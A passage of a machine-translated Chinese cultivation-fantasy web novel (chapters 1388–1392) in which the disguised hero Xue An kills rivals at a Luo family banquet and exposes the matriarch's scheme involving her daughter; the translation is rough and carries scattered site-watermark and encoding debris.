    I have to say that sometimes the actress really needs some talent.


    At this point, Bai Xi is obviously talented and admirable.


    For all this, Zongcheng naturally saw it.


    He is not a fool, of course he also knows what Baixi thought before.


    So when he saw Bai Xi''s deeply shocked look, he couldn''t help but feel very happy, but on the surface it didn''t show up at all. Instead, he stretched out his hand and patted Bai Xi''s shoulder.


    "Now Brother Bai knows how hate this Wan Gaoxing is!"


    Bai Xi gritted his teeth and burst out a few words between his teeth.


    "I want him to die!"


    Zongcheng smiled, "Me too! Because only when he is dead, those three tender little ladies who can pinch the water will be mine! So happy cooperation!"


    Despite some minor twists and turns, the banquet proceeded step by step.


    Only this time the focus of everyone''s attention has become two.


    One is Luo Jingting, who is naturally sitting on the high platform, the other...


    Many people looked at them with weird faces and looked at Xue An, who was sitting on the chair in a leisurely and indifferent face, and the three pretty women behind Xue An were filled with amazement.


    Why is this Wanjia Young Master suddenly a little different?


    Not to mention anything else, the dignity in him is like Yuan Yu Yuezhi, which makes one dare not to be underestimated.


    Is this still the old man who was known for his impermanence?


    In a corner of the banquet hall, a group of young girls who are still struggling for beauty got together, chatting about something.


    After seeing Xue An sitting in the distance, many little girls'' eyes began to shine.


    Then someone pulled Wan Henxin''s sleeves and exclaimed, "Wow, that''s your brother! So handsome!"


    Wan Henxin was also a little confused.


    She had never seen her brother look like this.


    But when she thought of the two slaps she had suffered in the past two days, she shuddered and didn''t dare to say anything.


    "Haha, brother Wan, it seems that this young man in your family is not small!" The Patriarch of the Bai family, who is Bai Xi''s father, incandescent Yin and Yang Weiqi said.


    You must know that he had already made all the preparations and wanted to match his son with Miss Luo Family, but now that he is like this, it seems that Master Wan Jia has to intervene.


    Wantaihui was full of spring breeze, and laughed loudly: "Oh, isn''t it the blood of my Wanjia!"


    There is no hint of humility in words.


    This is also the normal state of the ghost tribe. To them, how much can humility be worth?


    At the same time, Zongcheng and Baixi finally couldn''t hold back, and led a large group of doglegs to approach Xue An with bad expressions.


    Wherever they passed, everyone avoided a path.


    Such a big battle naturally shocked Luo Jingting. She watched from a distance, but her heart was not as excited as other ghost races waiting to see the excitement.


    In fact, under the guidance of her master, she absolutely hated the bad habits of the ghost race.


    So when she saw these people rushing towards Xue An, a look of worry flashed in her eyes.


    Just now he threatened to threaten, Luo Jingting didn''t want anyone to die!


    But then Xue An''s reaction was far beyond her expectations.


    Seeing that Xue An didn''t even raise his eyelids, he fiddled with his fingers slowly, as if his fingers were better than anyone else.


    It''s just that his actions fell into the eyes of Bai Xi, who is a master of the drama, but turned into his panic in covering up his heart in this way.


    Is it true?


    A sneer appeared at the corner of Bai Xi''s mouth.


    But before he could speak, Zongcheng on the side sneered uncontrollably.


    "Hey, isn''t this Wan Daxiao? Why, I thought you couldn''t come back after going out!"


    In fact, Xue An was not idle. After entering the Luo''s house, his divine thoughts spread like water, quietly exploring everything without disturbing anyone.


    So when Zongcheng Yin and Yang talked to him strangely, Xue An didn''t even raise his head, because at this moment, his spiritual thoughts caught a hint.


    Is it the same as expected? The corner of Xue An''s mouth showed a wistful smile.


    However, his silence made many people think that this Wan family was confessed.


    Especially Zongcheng, he was certain when he saw this, and then he glanced at Wen Mu Ling''s third daughter with a greedy look, and then sneered.


    "Why? Why didn''t the dignified Young Master stop talking? Or did he say he was scared and afraid to speak?"


    The atmosphere suddenly became tense The provocative meaning in Zongcheng''s words was too strong to dissolve.


    Everyone looked at Xue An together, wondering how he should respond.


    Is it to remain silent? Still give in temporarily?


    These two thoughts hovered in everyone''s minds.


    But at this moment, Xue An, who had already noticed everything he wanted, raised his eyes, and his eyes were like a vast sky, overwhelming everything.


    After seeing this gaze, Zongcheng''s body became stiff, and even the human body almost burst apart.


    At this moment, but seeing Xue An lowered his eyes, he said coldly: "Kneel down!"


    boom!


    Zongcheng felt that a huge force had come to him, he didn''t even hesitate, he was directly pressed to the ground, unable to move.


    But the audience was completely silent.

 Chapter 1388： Kneel down and watch the scenery, Xue An and others! ...

    what happened?


    How come Young Master Zong, who was just okay, would actually kneel to the ground because of the simple words?


    In the end what happened?


    These questions swept the audience with consternation.


    Zongcheng was even more startled, and then his heart was occupied by infinite humiliation and panic.


    He couldn''t understand what the huge force that had just descended on him was!


    But as a young master of the Zong family, but kneeling in front of so many people, this kind of humiliation would ignite Zongcheng.


    "Let me get up ah ah ah ah ah ah!" Zongcheng roared, his muscles like a giant dragon, and the black energy lingered all over his body, trying to forcibly stand up.


    But all the struggles were so pale and feeble in front of Xue An.


    Xue An didn''t even move, just watched coldly, and then turned to look at Baixi.


    "What are you doing standing there?"


    The tone is light and slow, like an unhappy black pool, with a chilling power.


    The essence of Bai Xi''s drama was stimulated again, and he looked at Xue An with a look of astonishment, and suddenly felt that the Wan Da Young in front of him was so strange.


    Could it be that he is not Wan Gaoxing?


    This idea flashed in Bai Xi''s mind.


    Because it''s impossible!


    Wan Gaoxing''s aura is so obvious, how can others be fake?


    But now he doesn''t know, he has played well all his life, only this time he guessed the truth and was rejected by him himself.


    "Huh?" Xue An asked again.


    Bai Xi trembled all over, and suddenly had an idea, pretending to be calm and said: "I... can''t I stand here and watch the scenery?"


    Pouch!


    Luo Jingting, who was sitting on the main seat of the high platform, suddenly laughed.


    She naturally saw everything that happened just now.


    Although he was surprised that Xue An could make Zongcheng kneel down, what Luo Jingting cared most was whether his secrets were leaked.


    Unexpectedly, he was amused by this dramatist Baixi.


    If left in the past and can make Luo Jingting amused, Bai Xi will definitely rejoice.


    But now he doesn''t have that thought anymore.


    Because Xue Anzheng looked at him coldly, and only nodded after a while.


    "can!"


    Baixi took a deep breath, but fortunately I am witty!


    But then Xue An calmly said: "But wouldn''t it be better to kneel down and watch the scenery?"


    When the words fell, Bai Xi also knelt down in front of Xue An very "behaved" and couldn''t move.


    In an instant, he just opened his teeth and danced his claws and formed an alliance to destroy Xue An''s two brothers. They became two sculptures kneeling on the ground.


    This time.


    There was a violent commotion in the audience.


    The Patriarchs of Zongbai''s family all changed in color.


    After all, this is about the dignity of your family!


    But even they couldn''t see what method Xue An used to make the two kneel down and sing to conquer.


    Because there is no slightest fluctuation in cultivation.


    But they didn''t know, of course, there was no fluctuation in cultivation level, because what Xue An used was not cultivation base, nor divine mind, but completely and purely using power to suppress people.


    The so-called power also controls power for profit.


    But Xue An is different. What he is holding against is the majesty of the heavens, the most powerful immortal in the ages.


    At the peak of Xue An''s strength, he once killed an old demon of the Immortal King level who was galloping through the heavens and survived for tens of thousands of years.


    What Xue An used at that time was his own power.


    Now Xue An''s strength has certainly not recovered to that level, but even though it is only a half-step Da Luo, Xue An already has the rudiment of the original power.


    This time Xue An wanted to test how powerful it is.


    Therefore, Zongcheng and Baixi were very "honoured" to be the experimental products.


    It seems that the result is still very satisfactory to Xue An.


    Of course, now Xue An broke through the disguise, enough to kill these two people instantly.


    But now it''s not enough, at least that person like Xue An hasn''t arrived yet.


    So Xue An didn''t do anything for the time being.


    Just when the two Patriarchs of Zongbai were fierce and ready to come and retrieve the scene.


    Xue An waved casually.


    "Okay, get up! I don''t have any red envelopes for you two now!"


    With the voice, the coercion exerted on Zongcheng and Baixi disappeared instantly.


    But because of this pressure, it came quickly, and it went hurriedly.


    Baixi is better.


    Zongcheng''s fun is great.


    He was urging his entire body to try to resist the pressure, but the pressure suddenly disappeared, so he was like a ball that was let out of air. He was recoiled to the sky and almost smashed the ceiling.


    In the end, he forcibly changed his direction, and then he reluctantly fell back to the ground, but the look on his face was extremely ugly.


    Because Xue An''s hand is equivalent to slapped him on the face after slapped him.


    This kind of humiliation made Zongcheng wish to eat Xue An alive.


    But Xue An didn''t pay attention to Zongcheng''s gaze at choosing people. He just leaned on the chair and said lightly: "Why are you still standing here? Do you still want to kneel down?"


    As soon as this sentence came out, Zongcheng, who was already violent, turned around in fright and ran away.


    He didn''t want to taste that taste again.


    Bai Xi is smarter than him, at least walking faster.


    Xue An glanced at the pair of live treasures, smiled coldly, and then looked around the audience casually.


    When he glanced over Luo Jingting on the high platform, he couldn''t help but smile when he saw that she was looking at him curiously, and then he leaned on the chair and started to sleep with his eyes closed.


    Because of the dispute just now, when Xue An closed his eyes, the voice in the banquet hall instantly became much quieter.


    Many people looked at Xue An with amazement, wondering what happened to this young master who was once famous for being a dude!


    Why suddenly became so powerful and domineering?


    While Xue An was waiting silently, a catkin touched his forehead lightly, and then began to knead gently.


    Although he did not open his eyes, Xue An knew that Que Wenyuan was massaging his head.


    Then Que Wenyuan''s excited voice came in his ears.


    "Master Xue, you are amazing! Those two guys were all scared stupid just now! Hahaha!"


    Xue An gave a noncommittal smile He naturally knew what the little girl was thinking.


    For Que Wenyuan, whose jealousy is like hatred and hatred, Xue An''s crazy "face-slapping" of Zongcheng and Baixi just now clearly made her very comfortable.


    But Xue An''s mind was obviously not on these ants, because it was just a seasoning.


    At this moment, in Xue An''s spiritual thoughts, a familiar but unfamiliar breath suddenly appeared.


    Xue An sneered at the corner of his mouth, then slowly opened his eyes.


    At the same time, at the entrance of the entrance, a monk dressed in quilted clothes with a bald head slowly walked in.


    Seeing this monk, Luo Jingting on the high platform stood up, folded his hands together, and gave a deep salute.


    "Master!"

 Chapter 1389： Who said I dare not be arrogant?

    Everyone''s eyes gradually widened, looking at everything in front of them in disbelief.


    No one thought that Miss Luo''s master would be a monk!


    This is incredible!


    Only Xue An narrowed his eyes slightly, looking at everything in the field coldly as if he had expected it.


    This monk is not very old, looks ordinary, only has clear and bright eyes.


    When he heard Luo Jingting''s shout, the corners of his mouth gradually rose, showing a bright smile, and then nodded.


    I don''t know what''s going on. When he laughed, his original facial features suddenly showed a different look.


    Especially those eyes seemed to have a calming magical power, which made people afraid to look directly.


    Seeing this scene, many people present couldn''t help being dazzled.


    But at this moment, the monk slowly turned sideways, his hands hanging down, as if waiting for something.


    really.


    There was a sound of footsteps at the entrance, and then walked into a group of gorgeously dressed people with arrogant faces.


    In the middle of this group of people, surrounded like stars and moons, is a middle-aged beautiful woman with noble temperament.


    Seeing her look cold, she walked into the field, and the banquet hall that had been tumultuous and restless instantly quieted down as far as she could.


    "Mother!" Luo Jingting respectfully saluted.


    That''s right, this glamorous middle-aged beautiful woman is the mother of Luo Jingting, who is now the actual controller of the Luo family, and is also one of the best in this world.


    Luo Li!


    Many people were reminded by Luo Jingting''s words and hurriedly began to salute.


    "I have seen Patriarch Luo!"


    "I have seen Patriarch!"


    These shouts one after another.


    Luo Li just nodded slightly, and then glanced across the messy floor of the banquet hall and the embarrassed Baixi and Zongcheng.


    "what happened?"


    The voice is indifferent, but full of supreme majesty.


    The two trembled all over, and then they seemed to be wronged, and like a bear child who could finally sue, they hurriedly ran to Luo Li and swept the floor.


    "Paradise Master Luo! This is the ghost of Wan Gaoxing!" Bai Xi once again played his talents in drama, his voice trembled, and it seemed that he would cry in the next second.


    "That''s right, this Wan Gaoxing spoke insultingly, as if he didn''t put the Luo family in his eyes!" Zongcheng also began to fan the flames.


    "Huh?" Luo Li raised her eyebrows, glanced at Xue An in the distance, snorted coldly, and then stepped forward.


    Bai Xi and Zongcheng secretly looked at each other, and they both saw the joy in each other''s eyes.


    Ha ha!


    The surname is Wan, how are you arrogant now?


    You dare to stray wild on the Luo family''s site. Based on this, you can''t eat today.


    The two of them were in a state of turmoil, and they realized that they had clearly arranged Xue An.


    Luo Jingting''s heart sank, and she couldn''t help but walked a few steps forward, preparing to explain a few words, but as to whether she could succeed, she had no idea.


    Because she knows her mother''s temperament well, she is very strong in the Luo family.


    Even she had lived under the control of her mother since she was a child, and she did not dare to defy the slightest.


    The only thing I can do is to sneak out occasionally to buy some snacks.


    I hope my mother will not blame him too much! Luo Jingting thought in his heart.


    at the same time.


    Luo Li had already approached Xue An. Because of his tall stature and Xue An was sitting on a chair, Luo Li almost looked down at Xue An in a condescending posture.


    And she didn''t speak, just looking at Xue An quietly, a breathtaking momentum gradually spread and enveloped the audience.


    Many people who were close turned pale, and then hurriedly retreated to the distance.


    Only Xue An was sitting there nonchalantly, without even raising his eyelids.


    For Xue An, who has experienced countless big scenes, Luo Li''s power is nothing, and even makes him want to laugh.


    But everyone did not understand this. In their opinion, it was the young master Wan Jia who bowed his head in "shame and fear" when facing the Patriarch of the Luo Family.


    At this time, many people looked at Xue An with gleeful eyes.


    As for Baixi and Zongcheng, if the two of them weren''t afraid of disturbing the atmosphere, they would even want to laugh three times now to relieve the boredom in their chests.


    But Luo Li''s eyes suddenly flashed a touch of surprise.


    Because she suddenly discovered that in front of her, the boy with his head down seemed to be completely non-existent.


    This kind of feeling is very strange, the person is right in front of him, but it is empty in the divine consciousness.


    what happened?


    Luo Li''s heart just tightened.


    At this moment, Xue An suddenly chuckled.


    "Well, all the actors are already in place, and this big show can finally begin!"


    Everyone looked at each other, their eyes all showing uncertainty.


    What do you mean?


    What is this Wanjia Young Master talking about?


    Zongcheng grinned, "Wangaoxing, you''re so **** silly here, in front of Patriarch Luo, why don''t you dare to be arrogant?"


    "Oh? Who said I dare not be arrogant?" Xue An said lightly, glancing at Zongcheng with a smile.


    Zongcheng seemed to have heard some big joke, and Jie Jie laughed strangely, "It''s really hard to say that when you die, you are arrogant? You are arrogant and capable of killing me now!"


    As soon as the voice fell, I heard Peng''s muffled sound.


    Zongcheng''s body burst open instantly, blood splattered, and everything around him was dyed red.


    "I rarely hear such strange requests, but since you have said it, then I will satisfy you!" Xue An said indifferently.


    This time, the audience was shocked.


    The closest to Zongcheng is naturally this Baixi.


    He lowered his head dullly, looked at the blood on his body and the dead body in Zongcheng, and suddenly screamed.


    "Ahhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh!


    In terms of words, Bai Xi seemed to have no love.


    Because he is not only a master of the drama, but also a bit of cleanliness, naturally he can''t stand the blood all over his body.


    However, Xue An quickly resolved his distress.


    I saw him casually waved.


    With a bangBai Xi''s head also exploded, and then he fell to the ground.


    "What are you doing so loudly? It''s really a headache! Let''s be quiet for a while!" Xue An said lightly.


    Dead still.


    No one dared to speak.


    Because in just a few blinks, the two young masters of the Zong family and the Bai family have been blown to pieces.


    But the instigator seems to have crushed two bugs, and has no teeth at all.


    If that''s all there is to it.


    The key is that all of this was done in front of the Luo Family Patriarch.


    This is no longer a slap in the face in public.


    It''s a problem of slapped by the hair.


    As a result, many people''s eyes gradually became weird, and they even looked at Xue An as if they were dead.

 Chapter 1390： I want good and evil to have their own rewards, but this is...

    Because they knew that Luo Li would never let him go.


    really.


    Seeing Luo Li glanced at the two dead bodies on the ground, there was a sudden anger on his expressionless face, then suddenly turned his eyes and stared at Xue An coldly.


    "who are you?"


    Ok?


    Who the **** is it?


    Isn''t he the great star of Wanjia?


    This idea just came to many people''s minds.


    Xue An leaned on the chair comfortably, and was surprised by Luo Li''s momentum behind him. Que asked with a pale face and said: "Come on, squeeze my shoulders!"


    Que Wenyuan was stunned for a moment, then walked forward without hesitation, and gently kneaded his shoulders.


    Xue An''s move can be described as shocking.


    When is this, dare to be so presumptuous?


    Is he really not afraid of death?


    In Luo''s family, several young people all looked down, and they went out one after another, and they wanted to step forward.


    Luo Li shook his hand casually, preventing everyone from coming forward, but staring at Xue An, coldly said: "You are not Wan Gaoxing, and you are not even a ghost!"


    There was a slight commotion in the audience.


    Xue An''s fingers touched each other, and the corners of his mouth raised, revealing a faint smile.


    "It''s kind of interesting, since I can see through my disguise, then I won''t pretend, I''ll showdown!"


    After all, Xue An''s body was suddenly surrounded by black energy, and then quickly dispersed.


    When he reappeared in front of everyone, he was no longer just the Wanjiao Wan Gaoxing, but a rich and handsome young man who wins snow in white.


    hiss!


    Seeing this, everyone in the room took a breath.


    Many people''s eyes showed infinite horror.


    Because it is really terrible.


    As a son of a wealthy family and his impermanence, Wan Gaoxing was impressed by many people in Chuzhou City.


    But no matter who it was, he couldn''t see through Xue An''s disguise, and he was deceived until now.


    This kind of disguise to hide from the sky is simply unheard of.


    suddenly.


    There was a scream from the crowd.


    "Xinger!"


    Then I saw Wan Tai Hui Zhuangruo rushing out of the crowd frantically, pointing at Xue An, and roaring: "Where is my Xing''er? What did you do to him?"


    Xue An raised his hand and made a booing gesture, "Hush, be quiet, I can hear! Your Xing''er is naturally dead now! But don''t worry, he died very painful, and it is considered an atonement. Up!"


    When it came to the word atonement, the monk who had been standing by the side suddenly raised his head and took a look at Xue An.


    Xue An smiled at him slightly.


    Wantaihui did not pay attention to these.


    When he heard that his precious son was dead and the murderer had become his appearance, his heart was completely occupied by boundless anger.


    "Xing...Xing''er! I will kill you and avenge my son!"


    Wantai Huizhuang rushed forward frantically.


    But at this moment, a dazzling sword light suddenly flashed.


    Then I saw Wan Tai Hui who was running wildly, his body shook suddenly, and then he was cut off. Because of his strong inertia, his upper body directly rushed out a long way and screamed in the air.


    "Ahhhhh, my legs!"


    But before he landed, he saw that his upper body was like a glass cracked by hot water, cracks suddenly appeared, and then it exploded completely.


    boom!


    Immediately afterwards, his lower body standing in place also shattered to the ground.


    Xue An shook his head and sighed softly: "Why are you so disobedient? I just said it. If you want to shout down, you just won''t listen! Now it''s all right! A body is wasted!"


    No one dared to speak, in fact everyone looked stupid.


    From the beginning to the present, with such skill, this white-clothed boy has already cut three people, but he hasn''t even moved.


    This level of strength is simply incredible!


    At least Luo Li''s complexion changed and became very solemn.


    Because she was shocked to find that she could not understand the details of this young man.


    Can only faintly feel the surging sword intent in the sword light just now.


    Could it be Jian Xiu?


    Thinking of this, Luo Li pondered for a moment, and then said coldly: "My friend, I don''t care what you came for, but now that you have killed three people in a row, it is a great enmity, and it should be over!"


    "It''s over?" Xue An suddenly laughed, but the smile was full of coldness.


    "What qualifications do you have to conclude with me?"


    boom!


    As soon as this remark came out, the audience was shocked.


    Luo Li''s complexion instantly became extremely ugly.


    The many young talents in the Luo family were even more furious.


    "Where''s the kid, dare to be so arrogant!"


    "Yes, don''t think you can kill a few three-legged cats! Kill him!"


    Amidst the shouts, a few people rushed to Xue An angrily.


    But before they could walk a few steps away, they suddenly realized that they had become shorter. When they looked down, they were shocked to find that, I don''t know when, their legs had been cut off.


    It was only because the sword light was too fast that they had no time to feel pain, and this happened.


    "This����."


    These Luo family children were taken aback for a moment, a ray of sword light like a dragon, and instantly penetrated their eyebrows.


    Puff puff!


    These people didn''t even hum, so they fell directly to the ground and became dead bodies.


    And it was worse than the Zongcheng just now, because this strand of sword light strangled not only their bodies, but even their souls.


    This kind of brutal means shocked all three of Zongcheng, Baixi, and Wantaihui, which had finally recondensed the body of the ghost clan.


    There was even a hint of fortune in my heart.


    Fortunately, what I lost was just a human body! If you are as dispirited as these Luo family children, wouldn''t it be over?


    Luo Li looked down at the corpse of his family''s son, with crazy anger burning in his eyes, and then slowly raised his head.


    "You dare to kill my son of the Luo family?"


    "What about killing?" Xue An said slowly and then smiled, "How does anger feel? Enjoy the feeling now, after all...there are not many opportunities like this!"


    Luo Li raised his hand to stop everyone in the Luo family from moving forward, then took a deep breath, instantly regaining her composure, and slowly said.


    "What on earth do you want to do?"


    Xue An did not answer Luo Li''s words directly. Instead, he turned his head to look at Luo Jingting who was also in shock, and said lightly: "What I want to do is very simple, I want good and evil to be rewarded separately! That''s it! !"


    Speaking of this, Xue An turned his head and smiled at Luo Li sensibly, "You have worked so hard to plan so much, even at the expense of your own daughter, your ambition is really not small!"


    Luo Li''s expression changed drastically, "You...what did you say? I don''t understand!"


    "Don''t understand?" Xue An raised his finger to the ground under his feet, and said coldly: "What''s in this underground, do I still use it?"

 Chapter 1391： I will tell you now, where did you go wrong...

    Luo Li''s face instantly became gloomy, and violent black air filled her behind.


    There seemed to be a gust of wind blowing in the entire banquet hall, causing many people to retreat and retreat.


    But everything, when it came to Xue An, it seemed like a breeze on his face, without even a single strand of hair blowing.


    "Who are you?" Luo Li shouted coldly, the killing intent on his face almost condensed into substance.


    "Who am I?" Xue An chuckled, then suddenly turned to look at the monk on the side, and said lightly.


    "Don''t you want to say a few words?"


    The monk was silent for a moment, folded his palms together, and whispered: "Poor monk Jin Jue, I have seen the donor!"


    "Don''t you know me?" Xue An was startled slightly.


    "Seems familiar, but don''t recognize it!" Jin Jueseng answered honestly.


    Xue An nodded suddenly, "That''s it!"


    Then he looked at him with a smile but a smile, raised his hand and pointed at Luo Jingying, who was confused, "She is your apprentice?" ��78���ĥ�~��~1~�ئئ�.7~8z~w.c����


    Jin Jueseng nodded, "Yes!"


    "When will the Buddha Xiu accept the ghost race as his disciple?"


    Jin Jue Seng chuckled slightly, "The Buddha''s words are both taught and irrelevant, regardless of human race or ghost race, they all have Buddha nature!"


    "Buddha nature! Haha..." Xue An chuckled lightly, with a hint of ridicule in the laughter.


    "So you are willing to become the master of these ghost races so that they can wash away their sins?" Xue An increased his tone when it came to the word sin.


    Jin Jue was silent.


    The conversation between the two of them resembled familiar old friends, but their tone was like a stranger.


    This weird feeling surprised a lot of people.


    Luo Li stood still and watched quietly, only the brilliance in his eyes flickered, as if thinking about something.


    Luo Jingting looked at his master in dismay, and then at Xue An, completely unaware of what the two of them were talking about.


    "What? Nothing to say?" Xue An said coldly.


    Jin Jue smiled, "What the donor is asking is, but I have a clear conscience. What I do is to teach the people and save the evil! Is this wrong?"


    Although his tone is as soft as ever, there is already a slight front in his words, and he is obviously responding to Xue An''s words.


    Xue looked at this Jin Jue Seng quietly, and nodded a moment later, "Very good! Since you have a clear conscience, then I will tell you, what is wrong with you!"


    Speaking of this, Xue An, who had been lazily sitting in the chair, raised his eyes, a biting chill suddenly burst into his clear eyes, and then suddenly stomped his foot.


    Boom!


    The entire Luo family mansion was shocked.


    Everyone shook, and some of the people with superficial cultivation were unsteady. They thumped and fell to the ground.


    Luo Li was shocked and roared, "Stop him!"


    In fact, she didn''t need her instructions at all, and everyone in the Luo family in the banquet hall could no longer hold them back.


    "The madman will die!"


    "Do it together and kill him!"


    These Luo family members are naturally not fools. The strength that Xue An has shown just now has shown that he is at least a strong sword repairer.


    Therefore, before they started, they looked at each other and understood each other''s meaning, and then they worked together in a tacit understanding.


    As they marched, they were connected to each other with black awns, forming a large array, and they blasted Xue An with their might.


    Such a blow is enough to make people feel disgusted.


    At least Wen Muling, Yingning, and Que Wenyuan, who stood behind Xue An, turned pale instantly.


    But Xue An didn''t even move. He just raised his eyes slightly and uttered a soft drink, "Go away!"


    Xue An''s voice was not loud, but it set off a great uproar. Wherever the sound wave touched, he directly confronted the Luo family who rushed over.


    ��!


    A loud noise spread out along with the violent shock wave. Wherever it passed, this banquet hall was like duckweed in a storm, which was directly blown away into dust.


    As for the people in the banquet hall, under this shock wave, there is no resistance at all.


    Those with slightly stronger strength can barely rise into the air. As for those with less strength, they screamed and were blown out.


    Not only that, because this shock wave was too terrifying. After destroying the banquet hall, it still did not weaken, but continued to sweep the entire Luo family mansion with a violent posture.


    For a while, the house collapsed and the tree broke.


    After just a few breaths, this originally magnificent Luo family mansion was completely razed to the ground.


    As for the casualties, there are countless more.


    Under this shocking blow, everyone was shaken by it, and then stared blankly at Xue An, who was shrouded in strong light and couldn''t see the situation inside, shocked, and didn''t know what kind of scene was inside.


    at last!


    Black air diffuses, and strong light converges.


    While watching the field again, Xue An still sat on the chair in his leisure time, and even his posture did not change.


    Behind him, the three women still stood silently, even the ground was as clean as new, and there was no dust.


    is like the only piece of pure land in the ruins.


    But what about the Luo family?


    Everyone moved in their hearts and looked sideways. 78 Chinese debut


    But I saw it in front of Xue An, empty, where was the slightest shadow?


    At this moment, the darkness squirmed in the void, barely condensing a dozen figures, and then gathered together tremblingly.


    is exactly a dozen of the strongest elders in the Luo family.


    As for the rest of the Luo family, they didn''t even leave a trace, and completely disappeared.


    "How is it possible!" Luo Li screamed.


    She has the highest cultivation base, she can barely see the scene just now.


    Although Xue An only snorted, he seemed to be a nine-day emperor who spoke to Tianxian, and directly killed almost everyone in the Luo family with a crushing force.


    That is to say, these more than a dozen elderly and elite Luo parents always saw the bad situation, sacrificed most of their souls in a critical moment, and hid in the void, only then barely survived You can see what they look like. , It is only a trace away from the death of the soul.


    Because many of them have faded to the point of transparency.


    It seemed as if a gust of wind would disappear.


    one strike!


    can''t even be said to be a blow!


    With just a drink, they disintegrated the Luo family''s combined blow and achieved a crushing victory.


    This level of strength is beyond the imagination of many people.


    Luo Li''s heart gradually sank to the bottom.


    Luo Jingting was even more stunned. She never expected that this boy in white would be so powerful.


    As for the three of Baixi, Zongcheng and Wantaihui, the frightened spirits almost collapsed.


    Fuck, I just dared to fight against such a character! It''s so fate not to die! Bai Xi felt wildly grateful.


    Xue An seemed to have done a trivial thing, and said lightly to Jin Jueseng: "Now you are optimistic, I will tell you, where did you go wrong!"


    After that, Xue An suddenly stomped his foot, and in the midst of a huge earthquake, huge cracks appeared on the hard ground.


    But a cloud of black air rises from it.


    In the black air, there is a very weak but extremely tough aura.


    Jin Jueseng was startled slightly, and then he seemed to understand something, a complex expression appeared in his eyes, and finally he folded his palms and sighed slightly.


    "Guilty, sin!"

 Chapter 1392： The mystery revealed

    What appeared in front of everyone was a huge crypt.


    Although the black air is permeated, a faint light can still be seen in the depths of the cave.


    After feeling the bright breath, Wen Mu Ling was shocked and exclaimed: "It''s her! Your lord, it''s the breath of the person who saved me back then!"


    Yingning and Que Wenyuan didn''t speak because they had already burst into tears.


    This breath is so familiar to them, it is the breath of the adults who controlled this plane.


    "Patriarch Luo, please explain!" Xue An said lightly.


    Luo Li''s complexion changed wildly.


    How did he know these things?


    And... who is he?


    These questions hovered in her mind, making her complexion uncertain, and her whole body trembling slightly.


    But most people are still in a daze, and don''t know what happened.


    Luo Jingting is the same. She asked Luo Li blankly, "Mother, what is going on? What is this crypt?"


    Luo Li''s complexion was so bad that she didn''t say a word.


    Instead, Xue An, who was leaning on the chair, smiled slightly and said leisurely: "Miss Luo, do you want to know what''s going on?"


    Although many people from the Luo family died in Xue An''s hands, Luo Jingting didn''t hate Xue An so much, so he only hesitated for a moment when he heard that, and then nodded.


    "Very good! Then I''ll start from the beginning! Miss Luo, do you think...Does your mother like you?"


    Luo Jingting was startled when he heard the words, and just wanted to talk.


    "Don''t answer in a hurry, think about it carefully, in her eyes, are you more like more goods or more like children?"


    Hearing what Xue An said, Luo Jingting was struck by lightning.


    After so many years of growth, she can naturally feel that Luo Li''s attitude towards her is strange, and she can''t say that she doesn''t like it, but that kind of like is somewhat different from family affection, on the contrary, it is more like the goods Xue An said.


    She was silent, and Luo Li hurriedly said: "Ting''er don''t listen to his nonsense, of course I like you! Otherwise, I won''t ask this Buddhist monk to be your master!"


    Luo Jingting''s face was hesitant.


    Xue An chuckled, "Is it really good for her to let her practice the Dharma? Or is it to achieve your ulterior secret?"


    When ���� said these words, not only was Luo Jingting horrified but also shocked, even Jin Jueseng was shocked, and then suddenly understood a lot, the originally clear eyes instantly became complicated.


    Luo Li''s face was pale, but she still calmly said: "What are you talking about? I don''t understand at all!"


    "Don''t understand? Well, then I will let you understand!"


    Speaking of this, Xue An finally got up, got up from the chair, and wandered to the edge of the big hole.


    The black air filled the crypt, exuding a dark luster, like a magic cave.


    Xue An raised his hand, drew a simple and extremely simple anti-evil charm in the air with a few strokes, and then took it with his hand.


    Boom!


    When this evil charm fell into the crypt, it was like a scoop of cold water poured into a hot oil pan, and it burst instantly.


    The black air is even more rolling like boiling water, and there seems to be a howling faintly.


    This scene stunned everyone.


    Especially Luo Li, she never dreamed that this young man in white would actually have such a countermeasure.


    is just the simplest talisman for suppressing evil spirits, and it has completely disturbed the black energy of the crypt.��78���ĥ�~��~1~�ئئ�.7~8z~w.c����


    This terrifying discovery made her tremble all over.


    At this moment, a golden light suddenly appeared in the crypt, and all the black air was swept away, and the scene that was revealed afterwards was even more shocking.


    But there is a shallow light cluster floating in the deep crypt.


    The ball of light was still like a soap bubble, exuding a faint light, but it could be faintly seen, and there seemed to be a figure enveloped in it.


    Wen Mu Ling, Ying Ning and the others plopped and fell to the ground.


    And many people came to understand it, and there was a look of horror in their eyes.


    Luo Jingting suddenly felt very familiar, as if the figure in the light group was a very important person to him.


    Xue An stood with his hand in his hand, looked at the floating ball of light, and said lightly: "Who is she, do you still use me to say it?"


    Luo Li was dumbfounded and could no longer speak.


    "In order to occupy this space, you alien ghosts fought a fierce war with the master of this plane. The final result is obvious. You won!"


    Xue An''s voice is very soothing, giving people a feeling of talking.


    The whole audience became very quiet in an instant, only the voice of Jin Jue Seng who folded his palms lightly chanting scriptures. 78 Chinese debut


    "But at the last moment, the master of this plane turned on plane suppression at a great price, and at the same time wrapped himself in layers of defense!" When this was said, Xue An''s eyes showed praise and The color of admiration.


    "She knows very well that what you alien ghosts want is not just this world, but you want complete control of this plane, and in order to prevent you from succeeding, that''s why she made such a resolute decision! "


    "Of course, this defense should be nothing to you! But in order to be able to inherit her plane perfectly, you dare not attack, so you use layers of black energy to bury it!"


    Xue Anyue said, Luo Li''s complexion became paler, and in the end there was no trace of blood.


    "I don''t know how many methods you have used but obviously they all failed! Only this time..."


    Xue An suddenly turned around and looked at Luo Li who was shaking like a sifting chaff, and said coldly: "If I''m not wrong, when your daughter was not born, you used occult technique to force a trace of her aura into it. In this way, you can forcibly inherit this will!"


    "You use your daughter as a bet, trying to let him pass through the defense and inherit the will on your behalf! But you didn''t expect that even though you inherited part of her aura, your daughter is still not recognized by this defense circle!"


    "In desperation, you guys came up with the decision to let her practice Dharma, because Dharma is the best way to resolve hostility. Only in this way will you achieve your ultimate goal!"


    "I said, right?"


    Under Xue An''s series of interrogations, Luo Li backtracked again and again, and was speechless, already speechless.


    is even more shocking than she is Luo Jingting. When she heard everything Xue An said, she was struck by lightning, and then asked in a trembling voice.


    "Mother, is what he said is true? Am I really just a tool for you?"


    Luo Li was silent.


    But at this moment, Luo Jingting naturally knew what silence meant.


